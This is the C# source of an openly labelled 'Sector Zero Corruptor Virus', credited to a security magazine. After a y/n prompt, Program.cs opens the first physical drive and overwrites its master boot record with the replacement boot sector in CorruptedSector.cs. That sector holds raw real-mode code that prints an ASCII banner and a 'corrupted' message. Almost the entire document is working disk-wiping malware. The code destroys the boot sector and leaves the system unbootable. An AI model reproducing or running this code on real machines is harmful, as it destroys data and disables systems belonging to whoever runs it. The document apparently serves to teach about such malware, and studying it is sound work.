



## CorruptedSector.cs

```
internal class CorruptedSector
{
    internal static readonly byte[] rawData =
    {
        0xB8, 0x00, 0x06, 0xB7, 0x1F, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 0xCD,
        0x10, 0xB4, 0x02, 0xB7, 0x00, 0xB6, 0x01, 0xB2, 0x01, 0xCD, 0x10, 0xBE,
        0x2D, 0x7C, 0xFC, 0x8A, 0x04, 0x84, 0xC0, 0x74, 0x07, 0xB4, 0x0E, 0xCD,
        0x10, 0x46, 0xEB, 0xF3, 0xB4, 0x00, 0xCD, 0x16, 0xF4, 0x0D, 0x0A, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x28, 0x5F, 0x29,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20,
        0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C,
        0x5F, 0x5F, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x20, 0x5F,
        0x5F, 0x20, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x5F,
        0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x5F,
        0x5F, 0x5F, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x2F, 0x20, 0x5F, 0x20, 0x5C,
        0x20, 0x5F, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C,
        0x2F, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x5F, 0x60, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x2F, 0x20, 0x5F, 0x20, 0x7C, 0x0D, 0x0A, 0x20,
        0x7C, 0x20, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x28, 0x5F, 0x7C, 0x20, 0x28,
        0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x29,
        0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x20,
        0x5F, 0x5F, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C,
        0x5C, 0x5F, 0x5F, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x5F, 0x7C,
        0x5F, 0x29, 0x5F, 0x2E, 0x5F, 0x5F, 0x2F, 0x7C, 0x5F, 0x7C, 0x5C, 0x5F,
        0x5F, 0x2C, 0x5F, 0x7C, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C, 0x0D, 0x0A, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
        0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4D, 0x61, 0x67, 0x61, 0x7A, 0x69,
        0x6E, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x79, 0x62,
        0x65, 0x72, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x20, 0x63,
        0x6C, 0x61, 0x72, 0x69, 0x66, 0x69, 0x65, 0x64, 0x2E, 0x0D, 0x0A, 0x0D,
        0x0A, 0x20, 0x53, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x20, 0x5A, 0x65, 0x72,
        0x6F, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x63,
        0x6F, 0x72, 0x72, 0x75, 0x70, 0x74, 0x65, 0x64, 0x2E, 0x20, 0x6F, 0x5F,
        0x4F, 0x20, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
    };
};
```

## Program.cs

```
// © ethical.blue Magazine // Cybersecurity clarified.

using System.Runtime.InteropServices;
Console.WriteLine(@"
// (c) ethical.blue Magazine // Cybersecurity clarified.

----== Sector Zero Corruptor Virus ==----

This program will destroy sector zero
(master boot record) of \\.\PhysicalDrive0."
+ Environment.NewLine);

string? key;
const int FALSE = 0;
Console.WriteLine(@" Are you sure that you want to destroy");
Console.WriteLine(" \\.\PhysicalDrive0 sector zero?");
Console.WriteLine(" [y] Yes or [n] No");
key = Console.ReadLine() ?? "n";
if (key.ToLower().StartsWith("n"))
{
    Console.WriteLine($" Log: \\.\PhysicalDrive0 sector zero destruction
CANCELLED.");
    Console.ReadKey();
    return;
}

Console.WriteLine($" Log: Opening drive \\.\PhysicalDrive0...");

IntPtr drive = CreateFileA("\\.\PhysicalDrive0",
FileAccess.Write,
FileShare.Write | FileShare.Read | FileShare.Delete,
IntPtr.Zero,
FileMode.Open,
FileAttributes.System,
IntPtr.Zero);

uint written = 0;

var ret = WriteFile(drive, CorruptedSector.rawData,
CorruptedSector.rawData.Length, written, IntPtr.Zero);

CloseHandle(drive);

if (ret == FALSE)
    Console.WriteLine(" Log: WriteFile function failed.");
else
    Console.WriteLine(" Log: Sector zero (MBR) successfully overwritten.");

Console.ReadKey();

[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
static extern unsafe IntPtr CreateFileA(
    [MarshalAs(UnmanagedType.LPStr)] string filename,
    [MarshalAs(UnmanagedType.U4)] FileAccess access,
    [MarshalAs(UnmanagedType.U4)] FileShare share,
    IntPtr securityAttributes,
    [MarshalAs(UnmanagedType.U4)] FileMode creationDisposition,
    [MarshalAs(UnmanagedType.U4)] FileAttributes flagsAndAttributes,
    IntPtr templateFile);

[DllImport("kernel32.dll", SetLastError = true)]
static extern unsafe int WriteFile(IntPtr handle, byte[] buffer,
    int numBytesToWrite, uint numBytesWritten,
    IntPtr lpOverlapped);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hHandle);
```

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Sector Zero has been corrupted. o\_0